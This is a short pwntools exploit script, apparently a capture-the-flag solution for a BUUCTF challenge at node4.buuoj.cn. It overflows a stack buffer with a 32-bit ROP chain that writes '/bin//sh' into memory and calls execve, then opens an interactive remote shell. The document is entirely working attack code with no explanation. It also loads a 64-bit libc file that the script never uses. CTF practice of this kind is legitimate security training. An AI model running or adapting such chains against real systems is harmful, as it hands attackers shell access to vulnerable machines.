1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import* context(os='linux', arch='i386', log_level='debug') from struct import pack
io= remote("node4.buuoj.cn",29305)
libc = ELF('libc-2.23_64.so') p = 'a'*(0x18+4) p += pack('<I', 0x0806f02a) p += pack('<I', 0x080ea060) p += pack('<I', 0x080b81c6) p += '/bin' p += pack('<I', 0x080549db) p += pack('<I', 0x0806f02a) p += pack('<I', 0x080ea064) p += pack('<I', 0x080b81c6) p += '//sh' p += pack('<I', 0x080549db) p += pack('<I', 0x0806f02a) p += pack('<I', 0x080ea068) p += pack('<I', 0x08049303) p += pack('<I', 0x080549db) p += pack('<I', 0x080481c9) p += pack('<I', 0x080ea060) p += pack('<I', 0x080de955) p += pack('<I', 0x080ea068) p += pack('<I', 0x0806f02a) p += pack('<I', 0x080ea068) p += pack('<I', 0x08049303) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0806cc25)
io.sendline(p)
io.interactive()
|